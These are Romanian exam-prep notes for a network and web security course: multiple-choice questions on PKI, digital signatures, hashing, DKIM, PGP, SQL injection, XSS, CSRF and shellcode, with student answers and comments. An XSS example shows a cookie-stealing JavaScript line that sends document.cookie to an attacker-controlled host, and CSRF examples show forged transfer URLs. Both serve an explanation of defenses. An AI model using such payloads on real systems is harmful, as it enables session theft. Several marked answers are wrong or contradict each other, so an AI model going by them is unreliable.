

## Intrebări protocole curs 8 – 12 EXAMEN

1. Care dintre urmatoarele protocole folosesc criptografia cu cheie publică:
  - **ssh**
  - nslookup (name secure lookup)
  - smtp
  - **https**
2. Un certificat digital ajuta la:
  - **Verificarea integrității și autenticității unui mesaj semnat de către persoana care îl este emis certificatul digital**
  - Decriptarea unui mesaj criptat de către persoana care îl este emis certificatul
  - Criptarea unui mesaj destinat persoanei care îl este emis certificatul
3. Autoritatile de marca temporală care dovedesc existența unui document de la un anumit moment de tip:
  - Semnează și el documentul
  - Stochează documentul
  - **Semnează un hash al documentului**
4. Cheia publică este folosită pentru:
  - **Criptarea mesajelor**
  - **Verificarea semnaturii digitale**
  - Semnearea documentelor
  - Descriptarea mesajelor
5. Diseminarea în siguranță către terți a cheilor publice a unei entități se poate face:
  - Odată cu diseminarea spre terți a cheilor private
  - Pe un canal alternativ securizat, diferit de cel pe care urmează să se facă comunicarea
  - Prin intermediul unui certificat digital semnat
  - **Înainte de cheia publică, nu trebuie luate măsuri suplimentare de siguranță, toată lumea putând cunoaște această cheie**
6. Pentru a asigura securitatea unei aplicații web, unde este locul în care trebuie plasate validerile asupra datelor introduse de către utilizatori:
  - Validerile privind autorizarea utilizatorilor de a efectua o acțiune trebuie să fie facute client-side, iar cele ce privesc interacțiunea datelor trebuie facute sever-side
  - **Server-side**
  - Client-side
7. Încrederea unui utilizator într-o autoritate de certificare:
  - Presupune emiterea de către autoritatea de certificare a unui certificat digital utilizatorului
  - Presupune cunoașterea de către utilizator a cheilor publice a autoritatii de certificare
  - Presupune cunoașterea de către utilizator a cheilor private autoritatii de certificare
8. Cum se poate “fura” un cookie de sesiune al unui alt utilizator?
  - Prin interceptarea datelor la nivelul rețelei de transport lipsa folosirii unei conexiuni sigure
  - **Prin lipsa invalidării sesiunii (logout) și navigarea în continuare pe un site malicios**
  - **Prin intermediul unui cod JavaScript injectat de către atacator**
9. Care dintre urmatoarele afirmații sunt adevărate în ceea ce privește certificatele digitale Web client-side:
  - Sunt semnate cu aceeași cheie privată cu care este semnat și certificatul serviciului Web

- Folosite impreuna cu protocolul SSL si cu autentificarea pe baza de user si parola sporesc securitatea autentificarii si identificarii utilizatorului
- Sunt transmise clientului exclusiv pe canale de incredere (sigure)

10. Cheia privata este folosita pentru:

- Decriptarea mesajelor primite
- Criptarea mesajelor trimise
- Verificarea semnaturii digitale
- Semnarea documentelor

11. Un certificat digital autosemnat:

- Contine cheia privata corespunzatoare cheii publice cu care se face semnarea certificatului
- Contine cheia publica corespunzatoare cheii private cu care se face semnarea certificatului
- fiind autosemnat contine atat cheia publica cat si cheia privata corespunzatoare

12. Semnarea unui document asigura:

- Datarea in timp a documentului
- Confidentialitatea datelor continute in document
- Autenticitatea documentului
- Nemodificarea ulterioara a documentului

13. Care dintre urmatoarele reprezinta masuri pentru evitarea injectarii SQL:

- Verificari riguroase la nivelul backend-ului legate de validarea datelor introduse precum si folosirea de biblioteci specializate pentru persitarea datelor (ORM-uri)
- Dezactivarea in cadrul aplicatiei Web a posibilitatii rularii de cod SQL de catre browser
- Verificari riguroase la nivelul browserului legate de validarea datelor introduse
- **Folosirea la nivelul backend-ului de mecanisme de tipul "prepared statement"**

14. Care este cel mai uzual mod de transmitere a unei chei publice catre terti:

- Pe un canal alternativ care nu poate fi controlat de atacator
- In cadrul unui certificat digital
- Pe un canal de comunicare criptat pentru a asigura confidentialitatea cheii
- Fiind vorba de o cheie publica, nu este important ca, canalul pe care se transmite sa fie sigur

15. Cum se poate preveni o vulnerabilitate de tip SQL Injection?

- Prin limitarea lungimii pentru fiecare dintre parametrii folositi in interogari
- **Prin utilizarea de Prepared Statements**
- Prin adaugarea de apostroafe in jutru parametrilor folositi in interogari

16. Pentru crearea unei infrastructuri bazate pe chei publice si private este necesar:

- Generarea perechii (cheie, publica, cheie privata) implicate in procesul de semnare si verificare a certificatelor digitale emise
- Obtinerea unui certificat digital semnat de catre o autoritate de certificare recunoasuta
- Obtinerea unei perechi (cheie publica, cheie privata) de la o autoritate de certificare recunoscuta

17. Certificatele digitale autosemnante se folosesc

- **De catre autoritatea de certificare**
- Un certificat nu poate fi autosemnat
- **Doar daca aparțin/sunt emise de catre un utilizator si sunt semnate si de catre autoritatile de certificare**

18. Pentru generarea de mesaje electronice nesolicitante, SPAM-eri folosesc:

- Conturi de yahoo, gmail, hotmail, etc. care nu sunt protejate
- **Servere de mail neprotejate folosind DomainKeys Identified Mail (DKIM)**
- **Servere de mail open relay**

19. DomainKeys Identified Mail (DKIM) ajuta la:

- Criptarea e-mailurilor
- **Verificarea autenticitatii expeditorului unui e-mail**
- Comunicarea securizata intre serverele de mail

20. Care dintre afirmatiile urmatoare, privind cheile implicate in protocolul PGP, sunt adevarate:

- Pentru a citi un mesaj este necesara cheia publica a destinatarului
- **Pentru a citi un mesaj este nevoie de cheia privata a destinatarului**
- **Pentru a trimite un mesaj este necesara cheia publica a sursei**

21. Care dintre urmatoarele afirmatii despre PGP sunt adevarate:

- Foloseste autoritati de certificare pentru verificarea certificatelor digitale
- **Este folosit la criptarea e-mailurilor**
- **Foloseste algoritmi de criptare simetриci**

22. Criptarea datelor intre parteneri se poate face in Internet la care dintre urmatoarele nivele:

- **Aplicatie**
- Fizic si legatura de date
- **Retea**

23. Ce se intlege prin "spargerea" functiei hash f:

Alta varianta: -  $x_1, x_2$  unde  $\text{hash}(x_1) = \text{hash}(x_2) = y$

- **Pentru  $f(x) = y$ , cunoscandu-se  $y$ , reconstituirea lui  $x$  pe baza lui  $y$**
- Determinarea complexitatii algoritmului care implementeaza functia f

24. Care dintre urmatorii termeni reprezinta algoritmi de criptare:

- **DSA**
- **MD5**
- **RSA**
- **DES**

25. DomainKeys Identified Mail (DKIM) se bazeaza pe urmatorul/urmatoarele protocoale de la nivel aplicatie:

- **SMTP**
- SSH
- **DNS**

26. Care dintre urmatoarele afirmatii reprezinta un mecanism/ mecanisme de schimb al cheii secrete intre doi parteneri:

- **Pe acelasi canal, daca in prealabil partenerii negociaza prin intermediul unui protocol bazat pe un algoritm de criptare simetric**
- **Pe acelasi canal, daca in prealabil partenerii negociaza prin intermediul unui protocol bazat pe un algoritm de criptare asimetric**
- **Pe un singur canal sigur, diferit de cel pe care are loc comunicarea**

27. Care dintre urmatoarele afirmatii despre procesul de schimb de chei sunt adevarate in contextul folosirii de algoritmi de criptare simetриci, respectiv asimetriici:

- **In ambele situatii, schimbul de chei trebuie sa se desfasoare pe un alt canal / printr-un mecanism de comunicare alternativ**
- Schimbul de chei pe un alt canal / mecanism diferit de comunicare alternativ trebuie sa se realizeze doar in cazul algoritmilor de criptare asimetrici
- Schimbul de chei pe un alt canal / mecanism diferit de comunicare alternativ trebuie sa se realizeze doar in cazul algoritmilor de criptare simetriici

- In ambele situatii, schimbul de chei se poate realiza pe acelasi canal / prin acelasi mecanism prin care are loc si comunicarea
28. Un hash poate fi decriptat cu atat mai usor cu cat
- Lungimea cheii folosite de functia de hash este mai mica
  - Calculatorul pe care se fac caculele este mai rapid
  - **Un hash nu poate fi decriptat**
29. Care dintre urmatoarele vulnerabilitati ar putea fi exploataate pentru a fura sesiunea unui utilizator autentificat?
- SQL Injection
  - **Cross-Site scripting (XSS)**
  - **Cross-Site Request Forgery (CSRF)**
30. Pentru a asigura securitatea unei aplicatii web, unde este locul in care trebuie plasate validarile asupra datelor introduse catre utilizatori?
- Client-side
  - Validarile privind autorizarea utilizatorilor de a efectua o actiune trebuie sa fie facuta client-side, iar cele ce privesc integritatea datelor trebuie facute server-side
  - **Server-side**
31. Semnearea documentelor se face folisind:
- **Cheia privata a emitatorului mesajului**
  - Cheia publica a emitatorului mesajului
  - Cheia privata a destinatarului mesajului
  - Cheia publica a destinatarului mesajului
32. Vulnerabilitatea functiilor de hash este data de:
- **Baze de date ce contin perechi x, y, unde hash(x) = y**
  - **Un codomeniu avand cardinalitate mica**
  - Coliziuni
  - Compromiterea confidentialitatii algoritmului functiei de hash si aducerea acestuia la cunostinta publica
33. Un certificat digital contine:
- **Cheia publica a persoanei careia I se elibereaza certificatul**
  - **Cheia publica a autoritatii de certificare care emite certificatul**
  - Cheia privata a persoanei careia I se elibereaza certificatul
  - Cheia privata a autoritatii de certificare care emite certificatul
34. Care dintre urmatoarele reprezinta scheme de validare a unui certificat digital:
- OCSP – Online Certificate Status Protocol
  - CRLs – Certificate Revocation Lists
  - DCVP – Digital Certificate Validation Process
35. Care dintre urmatoarele reprezinta masuri pentru evitarea vulnerabilitatilor de tip XSS:
- **Folosirea la nivelul browserului a unor biblioteci de functii JavaScript consacrate si testate anterior**
  - Verificarea riguroasa la nivelul browserului legate de validarea datelor introduse
  - Dezactivarea din cadrul aplicatiei web a posibilitatii rularii de cod JavaScript de catre browser
  - **Inlocuirea anumitor caractere din datele primite de la client cu entitatile HTML corespunzatoare**
36. Orice algoritm de criptare poate fi spart prin:
- Vulnerabilitati in functia de hasing a cheii

- Reverse engineering (dezasamblarea) unui program ce implementeaza algoritmul de criptare
- Folosind calculatoare cuantice (pe minim 4096 qubits)
- Derivarea functiei de hash folosita de algoritmii pe curbe eliptice
- Criptanaliza brute force

37. Pentru semnarea unui document de catre o entitate este nevoie de:

- Cheia publica a entitatii ce semneaza
- Hash-ul documentului
- Documentul in sine
- Cheia privata a entitatii ce semneaza

38. Functia aplicata pe text si pe cheia privata poate asigura:

- Nonrepudierea mesajului
- Autenticitatea mesajului
- Integritatea mesajului
- Confidentialitatea mesajului

39. Care dintre urmatoarele afirmatii sunt adevarate in ceea ce priveste o semnatura digitala:

- Semnatura digitala este de fapt un hash
- Orice document semnat digital poate fi datat in timp
- Semnatura digitala este criptata cu ajutorul unei chei private
- Pentru a aplica o semnatura digitala mai este nevoie de cel putin inca o parte implicata care sa semneze si ea documentul (autoritatea de certificare, notar electronic, partenerul cu care se semneaza contractul digital, etc)

40. Injectiile JavaScript se datoreaza:

- Unor buguri prezente la nivelul browserului web
- Validari insuficiente server-side la nivelul script-ului ce prelucraza datele din formular
- Validari insuficiente chiar la nivelul codului JavaScript
- Folosirea protocolului http in locul protocolului https

41. Pe un canal de comunicare securizat (spre exemplu ssh), ce trebuie sa cunoasca serverul pentru a putea autentifica cu succes un client:

- Doar clientul poate autentifica serverul folosind mecanisme bazate pe chei sau certificate, serverul autentifica clientul exclusiv pe baza unui nume de utilizator si a unei parole
- Cheia publica a clientului
- Cheia privata a clientului

42. Într-o infrastructură de tip PKI, care dintre următoarele pot fi menținute pe un calculator neconectat la rețea:

- cheile private ale partenerilor ce comunică
- certificatul digital al autorității de certificare
- cheia privata a autorității de certificare
- certificatele digitale ale partenerilor ce comunică, certificate emise de autoritatea de certificare

43. Care dintr-urmatorii termeni reprezinta algoritmi de criptare:

- simetриci pe cheie privata
  - DES (Data Encryption Standard)
  - TDES (Triple DES)
  - AES (Advanced Encryption Standard)
- asimetrici pe cheie publica

- PKC (Public Key Cryptography)
- RSA (Rivest-Shamir-Adleman)
- ElGamal

44. Care este pericolul interceptării de către un terț (Man in the Middle) a unei chei publice din cadrul unui certificat digital semnat de către o autoritate de certificare și transmis pe un canal nesigur?

- Atacatorul poate înlocui cheia publică din certificat cu propria cheie publică, corespunzătoare unei chei private pe care acesta o deține
- Atacatorul poate înlocui cheia privată din certificat cu propria cheie privată, corespunzătoare unei chei publice pe care acesta o deține
- Nu există niciun pericol, destinatarul la care ajunge certificatul îl poate valida pe baza semnăturii depuse de autoritatea de certificare

45. O semnătură digitală are următoarele proprietăți:

- Nepenetrabilă
- Nealterabilă
- Nefalsificabilă
- Reutilizabilă

46. Ce memorează autoritățile de marcă temporală?

- documentele semnate
- nu memorează nimic, doar semnează, validitatea semnăturii putând fi ușor dovedită cu ajutorul cheii publice a autorității de marcă temporală
- cererile și răspunsurile venite spre și dinspre acestea

47. Ce se trimite unei autorități de marcă temporală pentru a dovedi că un anumit document există la un anumit moment de timp?

- un hash al documentului și o semnătură
- documentul semnat
- documentul, semnătura și momentul de timp

48. Pentru a crește gradul de reușită a unui atac de tip phishing, atacatorul trebuie să:

- Să își adauge propria autoritate de certificare rădăcină (ROOT CA) pe calculatoarele victimelor
- Cloneze perfect site-ul targetat (spre exemplu site-ul unei instituții bancare)
- Să forțeze ca victimele să acceseze site-ul clonat prin HTTP, nu HTTPS pentru a putea intercepta traficul

49. Un certificat eliberat pentru serverul web cs.ubbcluj.ro poate fi folosit și pentru serverul de mail cs.ubbcluj.ro?

- doar în situația în care în certificat nu este trecut portul serviciului pentru care este eliberat
- da, nu este nicio problema numele serverului fiind același
- nu, serverul de mail are nevoie de un certificat diferit

50. Care este pericolul compromiterii unui certificat digital emis unui site Web în scopul autentificării acestuia de către clienti (compromitere în sensul aducerii acestui certificat la cunoștință publică)?

- Se pot semna documente în numele site-ului web respectiv
- Se poate extrage cheia publică din acel certificat, dar acest fapt nu reprezintă un pericol
- Se poate extrage cheia privată din acel certificat
- Nu există niciun pericol

51. Care dintre următoarele reprezintă proprietăți care trebuie să fie respectate de către o semnătură electronică:

- Nereutilizabilă
- Nerepudiabilă
- Nefalsificabilă
- Nealterabilă

52. Data Execution Prevention se referă la:

- Un mecanism pentru a preveni atacurile ce presupun injectarea de cod executabil pe stiva
- Un mecanism de prevenire a executiei zonelor de memorie ce nu contin instructiuni valide (contin date, variable, constante)
- O masura complementara mecanismului de randomizare a stivei pentru a preveni anumite tipuri de atacuri.

---

Care dintre urmatoarele reprezinta masuri pentru evitarea injectiilor SQL:

- [x] Verificari riguroase la nivelul backend-ului legate de validitatea datelor introduse precum si folosirea de biblioteci specializate pentru persistarea datelor (ORM-uri)
- [] Dezactivarea in cadrul aplicatiei Web a posibilitatii rularii de cod SQL de catre browser
- [] Verificari riguroase la nivelul browserului legate de validitatea datelor introduse (ce se executa pe frontend poate fi controlat, pot sa nu folosesc browserul)
- [x] Folosirea la nivelul backend-ului de mecanisme de tipul "prepared statement"

Cum se poate preveni o vulnerabilitate de tip SQL Injection?

- [] prin limitarea lungimii pentru fiecare dintre parametrii folositi in interogari
- [x] prin utilizarea de Prepared Statements
- [] prin adaugarea de apostroafe in jurul parameterilor folositi in interogari

Curs "Securitate Web"

Printre simptomele care arata ca un formular este injectabil se numara

- pagini albe la submit
- diferite mesaje de eroare / warning ce contin cod sau erori SQL de asemenea la submit
- terminarea scriptului de pe backend cu erori HTTP 5xx

Mecanisme de protectie impotriva la SQL Injection constau in primul rand in validari riguroase pe back-end. De altfel, majoritatea problemelor majore de securitate web, pot fi evitate dacă se fac validari pe back-end.

Validările pe back-end trebuie făcute chiar dacă sunt făcute pe front-end. Validările de pe front-end se fac în primul rand pentru un User Interface mai prietenos cu utilizatorul (exemplu, validări JavaScript care nu permit submit-ul la un formular dacă datele din formular nu sunt corecte), și nu neapărat pentru siguranța serverului. Ce se execută pe front-end (browser-ul utilizatorului) poate fi controlat / alterat de acesta prin diverse mecanisme (spre exemplu folosind Developer Tools), astfel că validările efectuate la nivelul codului client-side nu sunt de încredere („reliable”).

Pentru a evita interpretarea greșită a caracterelor precum " (ghilimele) sau ' (apostrof) la nivelul back-end-ului datele primite de la client trebuie evitate folosind mysql\_real\_escape\_string. În cazul folosirii API-ului mai nou mysqli\_\* (MySQL Improved Extension) sau PDO (PHP Data Objects) se recomandă folosirea „prepared statement”-urilor (în terminologie Java) și asocierea dinamică („bind”) a parametrilor la interogarea SQL.

O tehnică naivă de evitare a injectiilor SQL este eliminarea caracterelor " (ghilimele) sau ' (apostrofe) din datele primite de la client, aceste caractere fiind considerate "periculoase" sau "țapul ispășitor" pentru injectiile SQL. Înlăturarea lor nu este de dorit în multe situații, putând duce la pierderea consistenței datelor primite de la client sau a semanticii acestor date.

Folosirea unui ORM (Object-relational mapping) precum Hibernate elimină de asemenea în mare măsură astfel de probleme – fiecare layer între front-end și back-end data base server aducând un plus de protecție.

---

Printre tehnicele de "convingere" a unui utilizator să acceseze involuntar un astfel de URL malicioas (CSRF) se numără:

- încărcarea de pagini web aparent inofensive care conțin linkuri spre "imagini" (remarcați ghilimelele) de forma:  
img src="http://www.scs.ubbcluj.ro/~bufny/pw/securitate/csrf/doTransfer.php?contdestinatie  
=gigi@example.com&suma=1000"
- tehnici de "social engineering": trimitera prin e-mail/mesageria instant utilizatorului de diverse linkuri de forma:

[You win an iPhone!](http://www.scs.ubbcluj.ro/~bufny/pw/securitate/csrf/doTransfer.php?contdestinatii=gigi@example.com&suma=1000)

Pentru a evita CSRF, se recomanda:

- delegarea explicită la finalul sesiunii de lucru (pentru a invalida cookie-ul de sesiune)
  - neaccesarea altor resurse / site-uri / activități social network and social media în paralel cu sesiunea de Internet Banking
  - includerea în cadrul formularelor care realizează operații "sensibile" (precum transferul bancar din exemplul de față) de token-i suplimentari ascunși de validare (sub forma unui input de tip hidden), token-i cu durată de viață limitată și nereutilizabili.
- 

Care dintre urmatoarele reprezinta masuri pentru evitarea vulnerabilitatilor de tip XSS:

- Folosirea la nivelul browserului a unor biblioteci de functii JavaScript consacrate si testate anterior
- Verificari riguroase la nivelul browserului legate de validitatea datelor introduse
- Dezactivarea din cadrul aplicatiei web a posibilitatii rularii de cod JavaScript de catre browser (technically should do)
- Inlocuirea anumitor caractere din datele primite de la client cu entitatile HTML corespunzatoare

Injectiile JavaScript se datoreaza:

- Unor buguri prezente la nivelul browserului web
- Validarii insuficiente server-side la nivelul scriptului ce prelucreaza datele din formular
- Validari insuficiente chiar la nivelul codului JavaScript
- Folosirii protocolului http in locul protocolului https

Cum se poate "fura" un cookie de sesiune al unui alt utilizator?

- Prin interceptarea datelor la nivelul retelei de transport in lipsa folosirii unei conexiuni sigure
- Prin lipsa invalidarii sesiunii (logout) si navigarea in continuarea pe un site malitios (duce la CSRF)
- Prin intermediul unui cod JavaScript injectat de catre atacator

Care dintre urmatoarele vulnerabilitati ar putea fi exploataata pentru a fura sesiunea unui utilizator autentificat?

- SQL Injection (definitely not)
- Cross-Site scripting (XSS)
- Cross-Site Request Forgery (CSRF) (makes use of the user's session, doesn't really steal it...)

Pentru a asigura securitatea unei aplicatii web, unde este locul in care trebuie plasate validatorile asupra datelor introduse catre utilizatori?

- validatorile privind autorizarea utilizatorilor de a efectua o actiune trebuie sa fie facute client-side, iar privesc integritatea datelor trebuie facute server-side
- server-side
- client-side

Există inserat în baza de date de pe back-end următorul comentariu neaprobat: Acest comentariu este malitios. Va dati seama de ce?

new Image().src="http://site-controlat-de-atacator.com/salveazaCookie.php?cookie='"+document.cookie;

Acest comentariu (împreună cu codul JavaScript aferent) se afișează pentru moderare administratorului după autentificarea acestuia. Codul JavaScript ce face parte integrantă din comentariu se va executa în browser-ul administratorului accesându-i acestuia cookie-ul de sesiune (PHPSESSID) și trimițând-ul (prin intermediul request-ului care se face pentru a încărca imaginea "fake" nou creată) site-ului controlat de atacator. Ca efect, dacă atacatorul primește cookie-ul de sesiune al administratorului autentificat și îl inserează în propriul browser, se poate "da" drept admin în cadrul aplicației respective fără a mai trece prin formularul de login - practic request-urile făcute de atacator vor fi legitime pentru că vor conține cookie-ul de sesiune al administratorului. Atacatorul va putea modera, aproba și șterge comentariile fără a cunoaște parola

administratorului.

Validarea pe back-end este relativ simplă în PHP, presupune folosirea funcției `htmlentities` pentru filtrarea datelor de intrare (atât a numelui de utilizator cât și a comentariului) care transformă caracterele < și > în entitățile HTML corespunzătoare (&lt; respectiv &gt;). Acest fapt duce la neinterpretarea ca marcat de tag a cuvântului &lt;script&gt; și implicit la neexecutarea codului JavaScript inserat (care nu mai este interpretat ca și cod JavaScript...).

Observație: Diverse resurse disponibile online recomandă în vederea validării datelor de intrare folosirea funcției `strip_tags` pentru evitarea injectiilor JavaScript/XSS (funcția `strip_tags` înlătură tag-urile HTML din datele primite de la client). Uneori însă, poate este de dorit păstrarea tag-urilor din datele primite de la client: spre exemplu în cazul în care utilizatorul chiar dorește să posteze cod JavaScript în cadrul unei întrebări adresate pe stackoverflow.

---

Care dintre urmatoarele mecanisme limitează succesul exploit-urilor de tip shell code?

- Înlăturarea bitului de execuție de pe programul atacat
- Data Execution Prevention
- Arhivarea (compactarea) stivei
- Randomizarea stivei

Prin shell code se intlege:

- Codul în limbaj de asamblare al interpretorului de comenzi Unix
- Un exploit descris într-un fisier de comenzi și executat de către shell-ul UNIX
- Un cod scris de obicei în limbaj de asamblare și care este injectat remote de către atacator pentru a-i oferi un shell

<https://vividmachines.com/shellcode/shellcode.html>

Atacurile remote pot fi prevenite prin:

- Masuri de securitate împotriva atacurilor locale
  - Instalarea de update-uri sistemului de operare
  - Folosirea unui firewall
  - Inchiderea porturilor și oprirea serviciilor inutile
- curs 6, slide "Securitate la nivelul sistemelor de operare server în Internet"

Detectarea unui virus poate fi ingreunată de:

- Caracterul metamorfic al acestuia
- Suprascrierii anumitor apeluri sistem de către virus (the virus can overwrite for example ps at the operating system level, not only at the user level)
- Lipsa rutinei de multiplicare a virusului

Apelurile sistem Linux pot fi apelate ca funcții de la intreruperea:

- 80
- 80h
- 21h
- Apelurile sistem Linux sunt implementate în C nu ca funcții de la o anumita intrerupere
- 21

<https://vividmachines.com/shellcode/shellcode.html>

Caracterul NULL ('\0') nu apare de obicei în string-ul ce reprezintă shell code-ul deoarece:

-  Octetul cu valoarea 0 nu reprezinta codul unei instructiunii valide in limbaj de asamblare (null is valid machine code)

-  Majoritatea programelor exploatare sunt scrise in limbajul C, acest caracter ar marca terminarea prematura a datelor de intrare

-  00h nu este o adresa de revenire valida in cadrul stivei

<https://vividmachines.com/shellcode/shellcode.html> question 7

Care dintre urmatorii factori fac ca un sistem de calcul sa fie mai susceptibil la atacuri:

-  Programele SUID-ate (pot fi folosite in atacuri de escaladare de privilegii)

-  Porturile deschise

-  Utilizatorii sub care ruleaza anumite servicii (rularea programelor sub utilizatori fictivi ajuta ca atunci cand sunt compromise, sa nu fie compromis intregul sistem)

curs 6 - slide "Securitate la nivelul sistemelor de operare server în Internet" -- escaladare de privilegii

Care dintre urmatorii factori conduc la raspandirea mai agresiva a webworm-urilor?

-  Omogenitatea aplicatiilor web folosite in Internet (slide 2, curs 4)

-  Exportarea de catre aplicatiile web a unei "semnaturi" ce indica numele si versiunea aplicatiei web ???

-  Numarul relativ mic de server web folosite in Internet (Apache si IIS) (slide migrarea spre atacurile web)

-  Folosirea motoarelor de cautare pentru a localiza alte sisteme vulnerabile (santy)

---

Ce este vulnerability window?

Intervalul de timp scurs intre prima exploatare a unei vulnerabilitati si dezvoltarea unui patch pentru acea vulnerabilitate.

- Vulnerability window > 0 (Zero-day attacks)

- Vulnerability window < 0 (Atacuri bazate pe vulnerabilitati cunoscute public)

Prevenirea atacurilor remote sau locale.

---

Pentru crearea unei infrastructuri bazata pe chei publice si private este necesar:

-  Generarea perechii (cheie publica, cheie privata) implicate in procesul de semnare si verificare a certificatelor digitale emise;

-  Obtinerea unui certificat digital semnat de catre o autoritate de certificare recunoscuta

-  Obtinerea unei perechi (cheie publica, cheie privata) de la o autoritate de certificare recunoscuta

Care este cel mai uzual mod de transmitere a unei chei publice de catre terti:

-  Pe un canal alternativ care nu poate fi controlat de atacator

-  In cadrul unui certificat digital

-  Pe un canal de comunicare criptat pentru a asigura confidentialitatea cheii (nu e nevoie fiindca e publica)

-  Fiind vorba de o cheie publica, nu este important ca, canalul pe care este transmisa sa fie sigur (canalul tot trebuie sa fie sigur ca sa eviti atacuri gen man-in-the-middle)

Pentru semnarea unui document de catre o entitate este nevoie de:

-  cheia publica a entitatii ce semneaza

-  hash-ul documentului

-  documentul in sine

-  cheia privata a entitatii ce semneaza

Care dintre urmatoarele protocoale folosesc criptografia cu cheie publica:

- [x] ssh
- nslookup (name secure lookup)
- smtp
- [x] https

Cheia publica este folosita pentru:

- [x] criptarea mesajelor
- [x] verificarea semnaturilor digitale
- semnarea documentelor
- decriptarea mesajelor ?? folosita pentru decriptarea mesajelor cu cheie privata

Cheia privata este folosita pentru:

- [x] Decriptarea mesajelor primite
- Criptarea mesajelor trimise
- Verificarea semnaturilor digitale
- [x] Semnarea documentelor

Diseminarea in siguranta catre terti a cheii publice a unei entitati se poate face:

- Odata cu diseminarea spre terti a cheii private
- Pe un canal alternativ securizat, diferit de cel pe care urmeaza sa faca comunicarea
- [x] Prin intermediul unui certificat digital semnat
- Fiind vorba de cheia publica, nu trebuie luate masuri suplimentare de siguranta, toata lumea putand cunoaste aceasta cheie

Un certificat digital contine:

- [x] cheia publica a persoanei careia i se elibera certificatul
- cheia publica a autoritatii de certificare care emite certificatul (not rly...)
- cheia privata a persoanei careia i se elibera certificatul
- cheia privata a autoritatii de certificare care emite certificatul

Un certificat digital autosemnat:

- Contine cheia privata corespunzatoare cheii publice cu care se face semnarea certificatului
- [x] Contine cheia publica corespunzatoare cheii private cu care se face semnarea certificatului
- Fiind autosemnat contine atat cheie publica cat si cheia privata corespunzatoare

Semnarea unui document se face folosind:

- [x] cheia privata a emitatorului mesajului
- cheia publica a emitatorului mesajului
- cheia privata a destinatarului mesajului
- cheia publica a destinatarului mesajului

Semnarea unui document asigura:

- Datarea in timp a documentului
- Confidentialitatea datelor continute in document
- [x] Autenticitatea documentului
- [x] Nemodificarea ulterioara a documentului

Care dintre urmatoarele afirmatii sunt adevarate in ceea ce priveste certificatele digitale Web client-side:

- Sunt semnate cu aceeasi cheie privata cu care este semnat si certificatul serverului Web
-  -  Folosite impreuna cu protocolul SSL fi cu autentificarea pe baza de user si parola sporesc
-  -  securitatea autentificarii si identificarii clientului
- Sunt transmise clientului exclusiv pe canale de incredere (sigure)

Increderea unui utilizator intr-o autoritate de certificare:

- presupune emiterea de catre autoritatea de certificare a unui certificat digital utilizatorului
- presupune cunoaserea de catre utilizator a cheii publice a autoritatii de certificare
- presupune cunoaserea de catre utilizator a cheii private a autoritatii de certificare

Un certificat digital ajuta la:

- Verificarea integritatii si autenticitati unui mesaj semnat de catre persoana careia ii este emis certificatul digital
- Decriptarea unui mesaj criptat de persoana careia ii este emis certificatul ??
- Criptarea unui mesaj destinat persoanei careia ii este emis certificatul

Autoritatile de marca temporală care dovedesc existența unui document la un anumit moment de tip:

- Semnează și ele documentul
- Stocă documentul
- Semnează un hash al documentului

Ce memorează autoritatile de marca temporală?

- nu memorează nimic, doar semnează, validitatea semnaturii putând fi usor dovedită cu ajutorul cheii publice a autoritatii de marca temporală
- cererile și răspunsurile venite spre și dinspre acestea
- documente semnate

Ce se trimit unei autorități de marca temporală pentru a dovedi că un anumit document există la un anumit moment în timp?

- documentul semnat
- documentul, semnatura și momentul de timp
- un hash al documentului și o semnătură (documentul NU se trimit)

see "Time-Stamping"

Vulnerabilitatea funcțiilor de hash este data de:

- base de date ce contin perechi  $x, y$  unde  $\text{hash}(x) = y$
- un codomeniu având cardinalitate mică
- coliziuni
- compromiterea confidentialității algoritmului funcției de hash și aducerea acestuia la cunoștința publică

---

Un hash poate fi decriptat cu atât mai ușor cu cat:

- lungimea cheii folosite de funcția hash este mai mică
- calculatorul pe care se fac calculele este mai rapid
- un hash nu poate fi decriptat

curs "Securitate Web":

- "un hash nu poate fi decriptat (poate fi cel mult găsită o altă expresie care să „ducă” în același hash);"
- "funcțiilor de hash le lipsește ceea ce se cheamă cheie (nu există o cheie de criptare/decriptare);"
- "funcțiile de hash nu au inversă (funcție de decriptare), nefiind bijective, nefiind injective (pot exista două siruri diferite de caractere care să ducă în același hash)."

Functia aplicata pe text si pe cheia privata poate asigura: (i have no fucking idea)

- [x] nonrepudierea mesajului
- [x] autenticitatea mesajului
- [x] integritatea mesajului
- [] confidentialitatea mesajului

Care dintre urmatoarele reprezinta scheme de validare a unui certificat digital:

- [] CRLs - Certificate Revocation Lists
- [] DCVP - Digital Certificate Validation Process (isn't even a real thing)
- [x] OCSP - Online Certificate Status Protocol (scheme de validare bazate pe protocoale online)

Orice algoritm de criptare poate fi spart prin:

- [] vulnerabilitati in functia de hashing a cheii
- [x] reverse engineering (dezasamblarea) unui program ce implementeaza algoritmul de criptare
- [] folosind calculatoare cuantice
- [] derivarea functiei de hash folosita de algoritmii pe curbe eliptice
- [x] criptanaliza brute force (brute force cryptanalysis)

Care dintre urmatoarele reprezinta proprietati care trebuie sa fie respectate de catre o semnatura electronica:

- [x] nealterabila (orice alterare a continutului documentului face ca semnatura sa nu mai fie verificabil cu cheia publica)
- [x] nerepudiabila (receptorul documentului nu are nevoie de ajutorul emitatorului pentru verificarea semnaturii)
- [x] autentica (deoarece se verifica numai cheia publica a emitatorului)
- [x] nereutilizabila (deoarece ea este functie de continutul documentului, cel care este criptat)
- [x] nefalsificabila (deoarece numai emitatorul cunoaste cheia secreta)  
diferita de o semnatura digitala!!

Care dintre urmatoarele afirmatii sunt adevarate in ceea ce priveste o semnatura digitala:

- [x] Semnatura digitala este de fapt un hash (see "Digital Signatures", course 10-11)
- [] Orice document semnat digital poate fi datat in timp
- [x] Semnatura digitala este criptata cu ajutorul unei chei private
- [] Pentru a aplica o semnatura digitala mai este nevoie de cel putin inca o parte implicata care sa semneze si ea documentul (autoritate de certificare, notar electronic, partenerul cu care se semneaza un contract digital, etc)

Care dintre urmatoarele afirmatii despre procesul de schimb de chei sunt adevarate in contextul folosirii de algoritmi de criptare simetриci, respectiv asimetrici?

- [] Schimbul de chei pe un alt canal/mecanism diferit de comunicare alternativ trebuie sa se realizeze doar in cazul algoritmilor de criptare asimetrici (Diffie Helmann happens on the same channel)
- [] In ambele situatii, schimbul de chei trebuie sa se desfasoare pe un alt canal / printr-un mecanism de comunicare alternativ
- [] In ambele situatii, schimbul de chei se poate realiza pe acelasi canal / prin acelasi mecanism prin care are loc si comunicarea
- [x] Schimbul de chei pe un alt canal / mecanism diferit de comunicare alternativ trebuie sa se realizeze doar in cazul algoritmilor de criptare simetrici

Atacurile locale se bazeaza pe:

Select one or more:

